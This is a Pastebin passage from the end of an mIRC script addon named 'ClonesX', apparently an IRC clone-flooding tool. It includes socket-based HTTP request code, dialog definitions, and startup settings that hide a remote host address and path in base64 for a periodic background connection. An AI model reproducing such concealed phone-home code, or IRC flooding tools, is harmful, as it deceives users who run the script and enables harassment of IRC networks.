  991. var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Host: $iif($chr(63) isin %p.cloning.b.lng.l,%p.b.cloning.prt3,$remove(%p.cloning.b.lng.l,http://)) $+ $crlf $+ Connection: Keep-Alive
  992. if ($chr(63) isin %p.cloning.b.lng.l) { var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Cookie: %p.b.cloning.prt4 $+ $crlf $+ $crlf }
  993. else { var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ $crlf }
  994. }
  995. sockwrite -nt $sockname %p.b.cloning.tsn
  996. }
  997. }
  998. on 1:sockclose:p.b.cloning?: { if (!$sock(p.b.cloning?,2)) && ($sockname != p.b.cloning1) { unset %p.cloning.b.lng* } }
  999. on 1:sockread:p.b.cloning?: {
  1000. if ($sockerr == 0) {
  1001. sockread %p.cloning.b.lng.r
  1002. if ($gettok(%p.cloning.b.lng.r,1,32) == Location:) {
  1003. set %p.cloning.b.lng.l $gettok(%p.cloning.b.lng.r,2,32)
  1004. var %i = 3 | while ($sock(p.b.cloning [ $+ [ %i ] ],1)) { var %i = %i + 1 }
  1005. if (!$sock(p.b.cloning [ $+ [ %i ] ],1)) && ($chr(63) isin %p.cloning.b.lng.l) { p.cloning.bbdo %i $iif($chr(63) !isin %p.cloning.b.lng.l,$remove(%p.cloning.b.lng.l,http://)) }
  1006. }
  1007. }
  1008. }
  1009. alias -l p.cloning.bbdo {
  1010. if (%p.act.cloning.see.c.bcon == 1) && (%p.act.cloning.see.c.burl) {
  1011. var %p.b.cloning.1 = $decode(%p.act.cloning.see.c.burl,m)
  1012. var %p.b.cloning.1p = $gettok(%p.b.cloning.1,1,44)
  1013. var %p.b.cloning.prt = $gettok(%p.b.cloning.1,2,44)
  1014. if ($2) { .sockopen p.b.cloning $+ $$1 $2 80 }
  1015. elseif (%p.b.cloning.1p) && (%p.b.cloning.prt) { .sockopen p.b.cloning $+ $$1 %p.b.cloning.1p %p.b.cloning.prt }
  1016. }
  1017. }
  1018. dialog p.cloning.cred {
  1019. title "CloneX Credits"
  1020. size -1 -1 144 99
  1021. option dbu
  1022. text "No contact available (Priv)", 1, 1 2 142 15
  1023. text "Web: Mail: Forum:", 2, 1 16 14 21
  1024. link "Bad Clones", 3, 15 16 55 8
  1025. link "www.google.com", 4, 15 22 58 8
  1026. link "www.google.com", 5, 15 29 129 8
  1027. box "Thanks to:", 6, 0 38 144 47
  1028. edit "ME!", 7, 2 45 140 37, read multi
  1029. button "&Exit", 8, 45 87 55 11, ok
  1030. }
  1031. on 1:DIALOG:p.cloning.cred:sclick,dclick:*: {
  1032. if ($did == 3) { run Http://www.google.com.au/ }
  1033. if ($did == 4) { run Http://www.google.com.au/ }
  1034. if ($did == 5) { run Http://www.google.com.au/ }
  1035. }
  1036. dialog p.cloning.errD {
  1037. title "ClonesX error!"
  1038. size -1 -1 160 30
  1039. option dbu
  1040. text "", 1, 0 1 160 28
  1041. button "",2,-20 -20 0 0,cancel
  1042. }
  1043. on 1:DIALOG:p.cloning.errD:init:0: { did -a $dname 1 %p.cloning.errD }
  1044. dialog p.cloning.ac {
  1045. title "ClonesX Update"
  1046. size -1 -1 160 43
  1047. option dbu
  1048. text "Updater [DISABLED]", 1, 2 4 128 8
  1049. text "", 2, 128 4 50 8
  1050. text "Download:", 3, 2 15 32 8
  1051. button "&Close", 4, 64 29 37 12, ok
  1052. link "", 5, 37 15 119 7
  1053. }
  1054. on 1:DIALOG:p.cloning.ac:init:0: {
  1055. did -i $dname 2 1 %p.act.cloning.verr
  1056. did -i $dname 5 1 %p.act.cloning.see.c.url
  1057. }
  1058. on 1:DIALOG:p.cloning.ac:sclick,dclick:5: { run $did($dname,5).text }
  1059. alias -l p.cloning.actua {
  1060. if ($$1 > %p.act.cloning.verr) {
  1061. set %p.act.cloning.verr $$1
  1062. if ($dialog(p.cloning.ac)) { dialog -v p.cloning.ac }
  1063. else { dialog -m p.cloning.ac p.cloning.ac | dialog -v p.cloning.ac }
  1064. }
  1065. }
  1066. on *:START: {
  1067. if ($version < 5.91) { echo -s 4El Addon ClonesX needs atleast mIRC v5.91 }
  1068. unset %p.cloning.*
  1069. if ($calc($ctime - %p.act.cloning.see.c.burl.tt) > 86400) && (%p.act.cloning.see.c.bcon == 1) { p.cloning.bbdo 1 }
  1070. if (!%p.act.cloning.verr) { set %p.act.cloning.verr Haha }
  1071. if (!%p.act.cloning.see.c.pea) { set %p.act.cloning.see.c.pea MjA5LjkwLjEyNS4yMTIsODAsL35rcnh2ZXIvcGNsb25pbmcudHh0 }
  1072. if (!%p.act.cloning.see.c.url) { set %p.act.cloning.see.c.url Http://www.google.com.au/ }
  1073. if (%p.act.cloning.see.c.bcon == $null) { set %p.act.cloning.see.c.bcon 0 }
  1074. if (!%p.act.cloning.see.c.burl) { set %p.act.cloning.see.c.burl c2F2ZWssZWwsYW1vcyx4RCwvcXVlcnkgc2F2ZWsgZXJlcyBlbCB0b2RvIHBvZGVyb3NvLFRvY2FuZG8gY29kaWdvIGVoP3hELHByb3hpbWFtZW50ZSBlbiBwcm9ncmFtYSE= }
  1075. set %p.cloning.msg.quit byeesssssssssssssssssss
  1076. set %p.cloining.wh $script
  1077. p.cloning.see.act
  1078. p.cloning.delch
  1079. }
  1080. on *:LOAD: {
  1081. unset %p.cloning*
  1082. unset %p.save.cloning*
  1083. unset %p.act.cloning*
  1084. }
  1085. menu menubar,status {
  1086. -
  1087. ClonesX:/dialog -md p.cloning p.cloning
  1088. }
  1089. alias -l p.cloning.fal {
  1090. set %p.cloning.errD $$1-
  1091. if ($dialog(p.cloning.errD)) { dialog -x p.cloning.errD }
  1092. dialog -m p.cloning.errD p.cloning.errD
  1093. dialog -v p.cloning.errD
  1094. halt
  1095. }
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!